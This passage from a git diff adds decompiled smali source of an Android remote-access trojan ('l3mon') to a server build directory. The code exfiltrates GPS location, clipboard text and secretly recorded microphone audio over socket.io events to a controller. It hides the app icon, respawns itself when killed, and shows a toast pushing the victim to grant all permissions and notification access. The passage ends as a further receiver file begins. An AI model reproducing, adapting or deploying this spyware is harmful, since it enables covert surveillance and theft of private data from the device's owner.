+ iget-boolean v0, p0, Lcom/etechd/l3mon/LocManager;->isGPSEnabled:Z
+
+ if-eqz v0, :cond_2
+
+ .line 82
+ iget-object v0, p0, Lcom/etechd/l3mon/LocManager;->location:Landroid/location/Location;
+
+ if-nez v0, :cond_2
+
+ .line 84
+ iget-object v0, p0, Lcom/etechd/l3mon/LocManager;->locationManager:Landroid/location/LocationManager;
+
+ if-eqz v0, :cond_2
+
+ .line 85
+ iget-object v0, p0, Lcom/etechd/l3mon/LocManager;->locationManager:Landroid/location/LocationManager;
+
+ invoke-virtual {v0, v1}, Landroid/location/LocationManager;->getLastKnownLocation(Ljava/lang/String;)Landroid/location/Location;
+
+ move-result-object v0
+
+ iput-object v0, p0, Lcom/etechd/l3mon/LocManager;->location:Landroid/location/Location;
+
+ .line 86
+ iget-object v0, p0, Lcom/etechd/l3mon/LocManager;->location:Landroid/location/Location;
+
+ if-eqz v0, :cond_2
+
+ .line 87
+ iget-object v0, p0, Lcom/etechd/l3mon/LocManager;->location:Landroid/location/Location;
+
+ invoke-virtual {v0}, Landroid/location/Location;->getLatitude()D
+
+ move-result-wide v0
+
+ iput-wide v0, p0, Lcom/etechd/l3mon/LocManager;->latitude:D
+
+ .line 88
+ iget-object v0, p0, Lcom/etechd/l3mon/LocManager;->location:Landroid/location/Location;
+
+ invoke-virtual {v0}, Landroid/location/Location;->getLongitude()D
+
+ move-result-wide v0
+
+ iput-wide v0, p0, Lcom/etechd/l3mon/LocManager;->longitude:D
+
+ .line 89
+ iget-object v0, p0, Lcom/etechd/l3mon/LocManager;->location:Landroid/location/Location;
+
+ invoke-virtual {v0}, Landroid/location/Location;->getAltitude()D
+
+ move-result-wide v0
+
+ iput-wide v0, p0, Lcom/etechd/l3mon/LocManager;->altitude:D
+
+ .line 90
+ iget-object v0, p0, Lcom/etechd/l3mon/LocManager;->location:Landroid/location/Location;
+
+ invoke-virtual {v0}, Landroid/location/Location;->getAccuracy()F
+
+ move-result v0
+
+ iput v0, p0, Lcom/etechd/l3mon/LocManager;->accuracy:F
+
+ .line 91
+ iget-object v0, p0, Lcom/etechd/l3mon/LocManager;->location:Landroid/location/Location;
+
+ invoke-virtual {v0}, Landroid/location/Location;->getSpeed()F
+
+ move-result v0
+
+ iput v0, p0, Lcom/etechd/l3mon/LocManager;->speed:F
+ :try_end_0
+ .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 101
+ :cond_2
+ goto :goto_0
+
+ .line 99
+ :catch_0
+ move-exception v0
+
+ .line 100
+ .local v0, "e":Ljava/lang/Exception;
+ invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
+
+ .line 103
+ .end local v0 # "e":Ljava/lang/Exception;
+ :goto_0
+ iget-object v0, p0, Lcom/etechd/l3mon/LocManager;->location:Landroid/location/Location;
+
+ return-object v0
+.end method
+
+.method public onLocationChanged(Landroid/location/Location;)V
+ .locals 4
+ .param p1, "location" # Landroid/location/Location;
+
+ .line 128
+ if-eqz p1, :cond_0
+
+ .line 129
+ invoke-virtual {p1}, Landroid/location/Location;->getLatitude()D
+
+ move-result-wide v0
+
+ iput-wide v0, p0, Lcom/etechd/l3mon/LocManager;->latitude:D
+
+ .line 130
+ invoke-virtual {p1}, Landroid/location/Location;->getLongitude()D
+
+ move-result-wide v0
+
+ iput-wide v0, p0, Lcom/etechd/l3mon/LocManager;->longitude:D
+
+ .line 131
+ invoke-virtual {p1}, Landroid/location/Location;->getAltitude()D
+
+ move-result-wide v0
+
+ iput-wide v0, p0, Lcom/etechd/l3mon/LocManager;->altitude:D
+
+ .line 132
+ invoke-virtual {p1}, Landroid/location/Location;->getAccuracy()F
+
+ move-result v0
+
+ iput v0, p0, Lcom/etechd/l3mon/LocManager;->accuracy:F
+
+ .line 133
+ invoke-virtual {p1}, Landroid/location/Location;->getSpeed()F
+
+ move-result v0
+
+ iput v0, p0, Lcom/etechd/l3mon/LocManager;->speed:F
+
+ .line 135
+ :cond_0
+ invoke-static {}, Lcom/etechd/l3mon/IOSocket;->getInstance()Lcom/etechd/l3mon/IOSocket;
+
+ move-result-object v0
+
+ invoke-virtual {v0}, Lcom/etechd/l3mon/IOSocket;->getIoSocket()Lio/socket/client/Socket;
+
+ move-result-object v0
+
+ const/4 v1, 0x1
+
+ new-array v1, v1, [Ljava/lang/Object;
+
+ const/4 v2, 0x0
+
+ invoke-virtual {p0}, Lcom/etechd/l3mon/LocManager;->getData()Lorg/json/JSONObject;
+
+ move-result-object v3
+
+ aput-object v3, v1, v2
+
+ const-string v2, "0xLO"
+
+ invoke-virtual {v0, v2, v1}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 136
+ return-void
+.end method
+
+.method public onProviderDisabled(Ljava/lang/String;)V
+ .locals 0
+ .param p1, "provider" # Ljava/lang/String;
+
+ .line 140
+ return-void
+.end method
+
+.method public onProviderEnabled(Ljava/lang/String;)V
+ .locals 0
+ .param p1, "provider" # Ljava/lang/String;
+
+ .line 144
+ return-void
+.end method
+
+.method public onStatusChanged(Ljava/lang/String;ILandroid/os/Bundle;)V
+ .locals 0
+ .param p1, "provider" # Ljava/lang/String;
+ .param p2, "status" # I
+ .param p3, "extras" # Landroid/os/Bundle;
+
+ .line 148
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/MainActivity.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/MainActivity.smali
new file mode 100644
index 0000000..e1dd44b
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/MainActivity.smali
@@ -0,0 +1,184 @@
+.class public Lcom/etechd/l3mon/MainActivity;
+.super Landroid/app/Activity;
+.source "MainActivity.java"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 17
+ invoke-direct {p0}, Landroid/app/Activity;->()V
+
+ return-void
+.end method
+
+.method private isNotificationServiceRunning()Z
+ .locals 4
+
+ .line 54
+ invoke-virtual {p0}, Lcom/etechd/l3mon/MainActivity;->getContentResolver()Landroid/content/ContentResolver;
+
+ move-result-object v0
+
+ .line 55
+ .local v0, "contentResolver":Landroid/content/ContentResolver;
+ nop
+
+ .line 56
+ const-string v1, "enabled_notification_listeners"
+
+ invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v1
+
+ .line 57
+ .local v1, "enabledNotificationListeners":Ljava/lang/String;
+ invoke-virtual {p0}, Lcom/etechd/l3mon/MainActivity;->getPackageName()Ljava/lang/String;
+
+ move-result-object v2
+
+ .line 58
+ .local v2, "packageName":Ljava/lang/String;
+ if-eqz v1, :cond_0
+
+ invoke-virtual {v1, v2}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
+
+ move-result v3
+
+ if-eqz v3, :cond_0
+
+ const/4 v3, 0x1
+
+ goto :goto_0
+
+ :cond_0
+ const/4 v3, 0x0
+
+ :goto_0
+ return v3
+.end method
+
+
+# virtual methods
+.method protected onCreate(Landroid/os/Bundle;)V
+ .locals 9
+ .param p1, "savedInstanceState" # Landroid/os/Bundle;
+
+ .line 21
+ invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
+
+ .line 23
+ const/high16 v0, 0x7f040000
+
+ invoke-virtual {p0, v0}, Lcom/etechd/l3mon/MainActivity;->setContentView(I)V
+
+ .line 24
+ new-instance v0, Landroid/content/Intent;
+
+ const-class v1, Lcom/etechd/l3mon/MainService;
+
+ invoke-direct {v0, p0, v1}, Landroid/content/Intent;->(Landroid/content/Context;Ljava/lang/Class;)V
+
+ invoke-virtual {p0, v0}, Lcom/etechd/l3mon/MainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
+
+ .line 25
+ invoke-direct {p0}, Lcom/etechd/l3mon/MainActivity;->isNotificationServiceRunning()Z
+
+ move-result v0
+
+ .line 26
+ .local v0, "isNotificationServiceRunning":Z
+ if-nez v0, :cond_0
+
+ .line 28
+ invoke-virtual {p0}, Lcom/etechd/l3mon/MainActivity;->getApplicationContext()Landroid/content/Context;
+
+ move-result-object v1
+
+ .line 29
+ .local v1, "context":Landroid/content/Context;
+ const-string v2, "Click \'Permissions\'\nEnable ALL permissions\n Click back x2\n Enable \'Package Manager\'"
+
+ .line 30
+ .local v2, "text":Ljava/lang/CharSequence;
+ const/4 v3, 0x1
+
+ .line 32
+ .local v3, "duration":I
+ invoke-static {v1, v2, v3}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
+
+ move-result-object v4
+
+ .line 34
+ .local v4, "toast":Landroid/widget/Toast;
+ invoke-virtual {v4}, Landroid/widget/Toast;->getView()Landroid/view/View;
+
+ move-result-object v5
+
+ const v6, 0x102000b
+
+ invoke-virtual {v5, v6}, Landroid/view/View;->findViewById(I)Landroid/view/View;
+
+ move-result-object v5
+
+ check-cast v5, Landroid/widget/TextView;
+
+ .line 35
+ .local v5, "v":Landroid/widget/TextView;
+ const/high16 v6, -0x10000
+
+ invoke-virtual {v5, v6}, Landroid/widget/TextView;->setTextColor(I)V
+
+ .line 36
+ sget-object v6, Landroid/graphics/Typeface;->DEFAULT_BOLD:Landroid/graphics/Typeface;
+
+ invoke-virtual {v5, v6}, Landroid/widget/TextView;->setTypeface(Landroid/graphics/Typeface;)V
+
+ .line 37
+ const/16 v6, 0x11
+
+ invoke-virtual {v5, v6}, Landroid/widget/TextView;->setGravity(I)V
+
+ .line 38
+ invoke-virtual {v4}, Landroid/widget/Toast;->show()V
+
+ .line 41
+ new-instance v6, Landroid/content/Intent;
+
+ const-string v7, "android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"
+
+ invoke-direct {v6, v7}, Landroid/content/Intent;->(Ljava/lang/String;)V
+
+ invoke-virtual {p0, v6}, Lcom/etechd/l3mon/MainActivity;->startActivity(Landroid/content/Intent;)V
+
+ .line 44
+ new-instance v6, Landroid/content/Intent;
+
+ const-string v7, "package:com.etechd.l3mon"
+
+ invoke-static {v7}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
+
+ move-result-object v7
+
+ const-string v8, "android.settings.APPLICATION_DETAILS_SETTINGS"
+
+ invoke-direct {v6, v8, v7}, Landroid/content/Intent;->(Ljava/lang/String;Landroid/net/Uri;)V
+
+ .line 45
+ .local v6, "i":Landroid/content/Intent;
+ invoke-virtual {p0, v6}, Lcom/etechd/l3mon/MainActivity;->startActivity(Landroid/content/Intent;)V
+
+ .line 48
+ .end local v1 # "context":Landroid/content/Context;
+ .end local v2 # "text":Ljava/lang/CharSequence;
+ .end local v3 # "duration":I
+ .end local v4 # "toast":Landroid/widget/Toast;
+ .end local v5 # "v":Landroid/widget/TextView;
+ .end local v6 # "i":Landroid/content/Intent;
+ :cond_0
+ invoke-virtual {p0}, Lcom/etechd/l3mon/MainActivity;->finish()V
+
+ .line 49
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/MainService$1.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/MainService$1.smali
new file mode 100644
index 0000000..cbfe041
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/MainService$1.smali
@@ -0,0 +1,143 @@
+.class Lcom/etechd/l3mon/MainService$1;
+.super Ljava/lang/Object;
+.source "MainService.java"
+
+# interfaces
+.implements Landroid/content/ClipboardManager$OnPrimaryClipChangedListener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lcom/etechd/l3mon/MainService;->onStartCommand(Landroid/content/Intent;II)I
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x0
+ name = null
+.end annotation
+
+
+# instance fields
+.field final synthetic this$0:Lcom/etechd/l3mon/MainService;
+
+
+# direct methods
+.method constructor (Lcom/etechd/l3mon/MainService;)V
+ .locals 0
+ .param p1, "this$0" # Lcom/etechd/l3mon/MainService;
+
+ .line 44
+ iput-object p1, p0, Lcom/etechd/l3mon/MainService$1;->this$0:Lcom/etechd/l3mon/MainService;
+
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public onPrimaryClipChanged()V
+ .locals 8
+
+ .line 46
+ iget-object v0, p0, Lcom/etechd/l3mon/MainService$1;->this$0:Lcom/etechd/l3mon/MainService;
+
+ const-string v1, "clipboard"
+
+ invoke-virtual {v0, v1}, Lcom/etechd/l3mon/MainService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
+
+ move-result-object v0
+
+ check-cast v0, Landroid/content/ClipboardManager;
+
+ .line 47
+ .local v0, "clipboard":Landroid/content/ClipboardManager;
+ invoke-virtual {v0}, Landroid/content/ClipboardManager;->hasPrimaryClip()Z
+
+ move-result v1
+
+ if-eqz v1, :cond_0
+
+ .line 48
+ invoke-virtual {v0}, Landroid/content/ClipboardManager;->getPrimaryClip()Landroid/content/ClipData;
+
+ move-result-object v1
+
+ .line 49
+ .local v1, "clipData":Landroid/content/ClipData;
+ invoke-virtual {v1}, Landroid/content/ClipData;->getItemCount()I
+
+ move-result v2
+
+ if-lez v2, :cond_0
+
+ .line 50
+ const/4 v2, 0x0
+
+ invoke-virtual {v1, v2}, Landroid/content/ClipData;->getItemAt(I)Landroid/content/ClipData$Item;
+
+ move-result-object v3
+
+ invoke-virtual {v3}, Landroid/content/ClipData$Item;->getText()Ljava/lang/CharSequence;
+
+ move-result-object v3
+
+ .line 51
+ .local v3, "text":Ljava/lang/CharSequence;
+ if-eqz v3, :cond_0
+
+ .line 53
+ :try_start_0
+ new-instance v4, Lorg/json/JSONObject;
+
+ invoke-direct {v4}, Lorg/json/JSONObject;->()V
+
+ .line 54
+ .local v4, "data":Lorg/json/JSONObject;
+ const-string v5, "text"
+
+ invoke-virtual {v4, v5, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 55
+ invoke-static {}, Lcom/etechd/l3mon/IOSocket;->getInstance()Lcom/etechd/l3mon/IOSocket;
+
+ move-result-object v5
+
+ invoke-virtual {v5}, Lcom/etechd/l3mon/IOSocket;->getIoSocket()Lio/socket/client/Socket;
+
+ move-result-object v5
+
+ const-string v6, "0xCB"
+
+ const/4 v7, 0x1
+
+ new-array v7, v7, [Ljava/lang/Object;
+
+ aput-object v4, v7, v2
+
+ invoke-virtual {v5, v6, v7}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+ :try_end_0
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 58
+ nop
+
+ .end local v4 # "data":Lorg/json/JSONObject;
+ goto :goto_0
+
+ .line 56
+ :catch_0
+ move-exception v2
+
+ .line 57
+ .local v2, "e":Lorg/json/JSONException;
+ invoke-virtual {v2}, Lorg/json/JSONException;->printStackTrace()V
+
+ .line 62
+ .end local v1 # "clipData":Landroid/content/ClipData;
+ .end local v2 # "e":Lorg/json/JSONException;
+ .end local v3 # "text":Ljava/lang/CharSequence;
+ :cond_0
+ :goto_0
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/MainService.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/MainService.smali
new file mode 100644
index 0000000..ee1658b
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/MainService.smali
@@ -0,0 +1,113 @@
+.class public Lcom/etechd/l3mon/MainService;
+.super Landroid/app/Service;
+.source "MainService.java"
+
+
+# static fields
+.field private static contextOfApplication:Landroid/content/Context;
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 25
+ invoke-direct {p0}, Landroid/app/Service;->()V
+
+ .line 27
+ return-void
+.end method
+
+.method public static getContextOfApplication()Landroid/content/Context;
+ .locals 1
+
+ .line 82
+ sget-object v0, Lcom/etechd/l3mon/MainService;->contextOfApplication:Landroid/content/Context;
+
+ return-object v0
+.end method
+
+
+# virtual methods
+.method public onBind(Landroid/content/Intent;)Landroid/os/IBinder;
+ .locals 1
+ .param p1, "intent" # Landroid/content/Intent;
+
+ .line 33
+ const/4 v0, 0x0
+
+ return-object v0
+.end method
+
+.method public onDestroy()V
+ .locals 2
+
+ .line 76
+ invoke-super {p0}, Landroid/app/Service;->onDestroy()V
+
+ .line 77
+ new-instance v0, Landroid/content/Intent;
+
+ const-string v1, "respawnService"
+
+ invoke-direct {v0, v1}, Landroid/content/Intent;->(Ljava/lang/String;)V
+
+ invoke-virtual {p0, v0}, Lcom/etechd/l3mon/MainService;->sendBroadcast(Landroid/content/Intent;)V
+
+ .line 78
+ return-void
+.end method
+
+.method public onStartCommand(Landroid/content/Intent;II)I
+ .locals 4
+ .param p1, "paramIntent" # Landroid/content/Intent;
+ .param p2, "paramInt1" # I
+ .param p3, "paramInt2" # I
+
+ .line 39
+ invoke-virtual {p0}, Lcom/etechd/l3mon/MainService;->getPackageManager()Landroid/content/pm/PackageManager;
+
+ move-result-object v0
+
+ .line 40
+ .local v0, "pkg":Landroid/content/pm/PackageManager;
+ new-instance v1, Landroid/content/ComponentName;
+
+ const-class v2, Lcom/etechd/l3mon/MainActivity;
+
+ invoke-direct {v1, p0, v2}, Landroid/content/ComponentName;->(Landroid/content/Context;Ljava/lang/Class;)V
+
+ const/4 v2, 0x1
+
+ const/4 v3, 0x2
+
+ invoke-virtual {v0, v1, v3, v2}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
+
+ .line 44
+ new-instance v1, Lcom/etechd/l3mon/MainService$1;
+
+ invoke-direct {v1, p0}, Lcom/etechd/l3mon/MainService$1;->(Lcom/etechd/l3mon/MainService;)V
+
+ .line 65
+ .local v1, "mPrimaryChangeListener":Landroid/content/ClipboardManager$OnPrimaryClipChangedListener;
+ const-string v3, "clipboard"
+
+ invoke-virtual {p0, v3}, Lcom/etechd/l3mon/MainService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
+
+ move-result-object v3
+
+ check-cast v3, Landroid/content/ClipboardManager;
+
+ .line 66
+ .local v3, "clipboardManager":Landroid/content/ClipboardManager;
+ invoke-virtual {v3, v1}, Landroid/content/ClipboardManager;->addPrimaryClipChangedListener(Landroid/content/ClipboardManager$OnPrimaryClipChangedListener;)V
+
+ .line 69
+ sput-object p0, Lcom/etechd/l3mon/MainService;->contextOfApplication:Landroid/content/Context;
+
+ .line 70
+ invoke-static {p0}, Lcom/etechd/l3mon/ConnectionManager;->startAsync(Landroid/content/Context;)V
+
+ .line 71
+ return v2
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/MicManager$1.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/MicManager$1.smali
new file mode 100644
index 0000000..1464888
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/MicManager$1.smali
@@ -0,0 +1,54 @@
+.class final Lcom/etechd/l3mon/MicManager$1;
+.super Ljava/util/TimerTask;
+.source "MicManager.java"
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lcom/etechd/l3mon/MicManager;->startRecording(I)V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x8
+ name = null
+.end annotation
+
+
+# direct methods
+.method constructor ()V
+ .locals 0
+
+ .line 50
+ invoke-direct {p0}, Ljava/util/TimerTask;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+ .locals 1
+
+ .line 54
+ sget-object v0, Lcom/etechd/l3mon/MicManager;->recorder:Landroid/media/MediaRecorder;
+
+ invoke-virtual {v0}, Landroid/media/MediaRecorder;->stop()V
+
+ .line 55
+ sget-object v0, Lcom/etechd/l3mon/MicManager;->recorder:Landroid/media/MediaRecorder;
+
+ invoke-virtual {v0}, Landroid/media/MediaRecorder;->release()V
+
+ .line 56
+ sget-object v0, Lcom/etechd/l3mon/MicManager;->audiofile:Ljava/io/File;
+
+ invoke-static {v0}, Lcom/etechd/l3mon/MicManager;->access$000(Ljava/io/File;)V
+
+ .line 57
+ sget-object v0, Lcom/etechd/l3mon/MicManager;->audiofile:Ljava/io/File;
+
+ invoke-virtual {v0}, Ljava/io/File;->delete()Z
+
+ .line 58
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/MicManager.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/MicManager.smali
new file mode 100644
index 0000000..812637a
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/MicManager.smali
@@ -0,0 +1,307 @@
+.class public Lcom/etechd/l3mon/MicManager;
+.super Ljava/lang/Object;
+.source "MicManager.java"
+
+
+# static fields
+.field static final TAG:Ljava/lang/String; = "MediaRecording"
+
+.field static audiofile:Ljava/io/File;
+
+.field static recorder:Landroid/media/MediaRecorder;
+
+.field static stopRecording:Ljava/util/TimerTask;
+
+
+# direct methods
+.method static constructor ()V
+ .locals 1
+
+ .line 21
+ const/4 v0, 0x0
+
+ sput-object v0, Lcom/etechd/l3mon/MicManager;->audiofile:Ljava/io/File;
+
+ return-void
+.end method
+
+.method public constructor ()V
+ .locals 0
+
+ .line 17
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method static synthetic access$000(Ljava/io/File;)V
+ .locals 0
+ .param p0, "x0" # Ljava/io/File;
+
+ .line 17
+ invoke-static {p0}, Lcom/etechd/l3mon/MicManager;->sendVoice(Ljava/io/File;)V
+
+ return-void
+.end method
+
+.method private static sendVoice(Ljava/io/File;)V
+ .locals 8
+ .param p0, "file" # Ljava/io/File;
+
+ .line 66
+ invoke-virtual {p0}, Ljava/io/File;->length()J
+
+ move-result-wide v0
+
+ long-to-int v1, v0
+
+ .line 67
+ .local v1, "size":I
+ new-array v0, v1, [B
+
+ .line 69
+ .local v0, "data":[B
+ :try_start_0
+ new-instance v2, Ljava/io/BufferedInputStream;
+
+ new-instance v3, Ljava/io/FileInputStream;
+
+ invoke-direct {v3, p0}, Ljava/io/FileInputStream;->(Ljava/io/File;)V
+
+ invoke-direct {v2, v3}, Ljava/io/BufferedInputStream;->(Ljava/io/InputStream;)V
+
+ .line 70
+ .local v2, "buf":Ljava/io/BufferedInputStream;
+ array-length v3, v0
+
+ const/4 v4, 0x0
+
+ invoke-virtual {v2, v0, v4, v3}, Ljava/io/BufferedInputStream;->read([BII)I
+
+ .line 71
+ new-instance v3, Lorg/json/JSONObject;
+
+ invoke-direct {v3}, Lorg/json/JSONObject;->()V
+
+ .line 72
+ .local v3, "object":Lorg/json/JSONObject;
+ const-string v5, "file"
+
+ const/4 v6, 0x1
+
+ invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
+
+ .line 73
+ const-string v5, "name"
+
+ invoke-virtual {p0}, Ljava/io/File;->getName()Ljava/lang/String;
+
+ move-result-object v7
+
+ invoke-virtual {v3, v5, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 74
+ const-string v5, "buffer"
+
+ invoke-virtual {v3, v5, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 75
+ invoke-static {}, Lcom/etechd/l3mon/IOSocket;->getInstance()Lcom/etechd/l3mon/IOSocket;
+
+ move-result-object v5
+
+ invoke-virtual {v5}, Lcom/etechd/l3mon/IOSocket;->getIoSocket()Lio/socket/client/Socket;
+
+ move-result-object v5
+
+ const-string v7, "0xMI"
+
+ new-array v6, v6, [Ljava/lang/Object;
+
+ aput-object v3, v6, v4
+
+ invoke-virtual {v5, v7, v6}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 76
+ invoke-virtual {v2}, Ljava/io/BufferedInputStream;->close()V
+ :try_end_0
+ .catch Ljava/io/FileNotFoundException; {:try_start_0 .. :try_end_0} :catch_2
+ .catch Ljava/io/IOException; {:try_start_0 .. :try_end_0} :catch_1
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ .end local v2 # "buf":Ljava/io/BufferedInputStream;
+ .end local v3 # "object":Lorg/json/JSONObject;
+ goto :goto_0
+
+ .line 81
+ :catch_0
+ move-exception v2
+
+ .line 82
+ .local v2, "e":Lorg/json/JSONException;
+ invoke-virtual {v2}, Lorg/json/JSONException;->printStackTrace()V
+
+ goto :goto_1
+
+ .line 79
+ .end local v2 # "e":Lorg/json/JSONException;
+ :catch_1
+ move-exception v2
+
+ .line 80
+ .local v2, "e":Ljava/io/IOException;
+ invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V
+
+ .end local v2 # "e":Ljava/io/IOException;
+ goto :goto_0
+
+ .line 77
+ :catch_2
+ move-exception v2
+
+ .line 78
+ .local v2, "e":Ljava/io/FileNotFoundException;
+ invoke-virtual {v2}, Ljava/io/FileNotFoundException;->printStackTrace()V
+
+ .line 83
+ .end local v2 # "e":Ljava/io/FileNotFoundException;
+ :goto_0
+ nop
+
+ .line 85
+ :goto_1
+ return-void
+.end method
+
+.method public static startRecording(I)V
+ .locals 5
+ .param p0, "sec" # I
+ .annotation system Ldalvik/annotation/Throws;
+ value = {
+ Ljava/lang/Exception;
+ }
+ .end annotation
+
+ .line 30
+ invoke-static {}, Lcom/etechd/l3mon/MainService;->getContextOfApplication()Landroid/content/Context;
+
+ move-result-object v0
+
+ invoke-virtual {v0}, Landroid/content/Context;->getCacheDir()Ljava/io/File;
+
+ move-result-object v0
+
+ .line 32
+ .local v0, "dir":Ljava/io/File;
+ :try_start_0
+ const-string v1, "DIRR"
+
+ invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
+
+ move-result-object v2
+
+ invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
+
+ .line 33
+ const-string v1, "sound"
+
+ const-string v2, ".mp3"
+
+ invoke-static {v1, v2, v0}, Ljava/io/File;->createTempFile(Ljava/lang/String;Ljava/lang/String;Ljava/io/File;)Ljava/io/File;
+
+ move-result-object v1
+
+ sput-object v1, Lcom/etechd/l3mon/MicManager;->audiofile:Ljava/io/File;
+ :try_end_0
+ .catch Ljava/io/IOException; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 37
+ nop
+
+ .line 41
+ new-instance v1, Landroid/media/MediaRecorder;
+
+ invoke-direct {v1}, Landroid/media/MediaRecorder;->()V
+
+ sput-object v1, Lcom/etechd/l3mon/MicManager;->recorder:Landroid/media/MediaRecorder;
+
+ .line 42
+ sget-object v1, Lcom/etechd/l3mon/MicManager;->recorder:Landroid/media/MediaRecorder;
+
+ const/4 v2, 0x1
+
+ invoke-virtual {v1, v2}, Landroid/media/MediaRecorder;->setAudioSource(I)V
+
+ .line 43
+ sget-object v1, Lcom/etechd/l3mon/MicManager;->recorder:Landroid/media/MediaRecorder;
+
+ const/4 v2, 0x2
+
+ invoke-virtual {v1, v2}, Landroid/media/MediaRecorder;->setOutputFormat(I)V
+
+ .line 44
+ sget-object v1, Lcom/etechd/l3mon/MicManager;->recorder:Landroid/media/MediaRecorder;
+
+ const/4 v2, 0x3
+
+ invoke-virtual {v1, v2}, Landroid/media/MediaRecorder;->setAudioEncoder(I)V
+
+ .line 45
+ sget-object v1, Lcom/etechd/l3mon/MicManager;->recorder:Landroid/media/MediaRecorder;
+
+ sget-object v2, Lcom/etechd/l3mon/MicManager;->audiofile:Ljava/io/File;
+
+ invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
+
+ move-result-object v2
+
+ invoke-virtual {v1, v2}, Landroid/media/MediaRecorder;->setOutputFile(Ljava/lang/String;)V
+
+ .line 46
+ sget-object v1, Lcom/etechd/l3mon/MicManager;->recorder:Landroid/media/MediaRecorder;
+
+ invoke-virtual {v1}, Landroid/media/MediaRecorder;->prepare()V
+
+ .line 47
+ sget-object v1, Lcom/etechd/l3mon/MicManager;->recorder:Landroid/media/MediaRecorder;
+
+ invoke-virtual {v1}, Landroid/media/MediaRecorder;->start()V
+
+ .line 50
+ new-instance v1, Lcom/etechd/l3mon/MicManager$1;
+
+ invoke-direct {v1}, Lcom/etechd/l3mon/MicManager$1;->()V
+
+ sput-object v1, Lcom/etechd/l3mon/MicManager;->stopRecording:Ljava/util/TimerTask;
+
+ .line 61
+ new-instance v1, Ljava/util/Timer;
+
+ invoke-direct {v1}, Ljava/util/Timer;->()V
+
+ sget-object v2, Lcom/etechd/l3mon/MicManager;->stopRecording:Ljava/util/TimerTask;
+
+ mul-int/lit16 v3, p0, 0x3e8
+
+ int-to-long v3, v3
+
+ invoke-virtual {v1, v2, v3, v4}, Ljava/util/Timer;->schedule(Ljava/util/TimerTask;J)V
+
+ .line 62
+ return-void
+
+ .line 34
+ :catch_0
+ move-exception v1
+
+ .line 35
+ .local v1, "e":Ljava/io/IOException;
+ const-string v2, "MediaRecording"
+
+ const-string v3, "external storage access error"
+
+ invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
+
+ .line 36
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/MyReceiver.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/MyReceiver.smali
new file mode 100644
index 0000000..3c57739
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/MyReceiver.smali
@@ -0,0 +1,123 @@
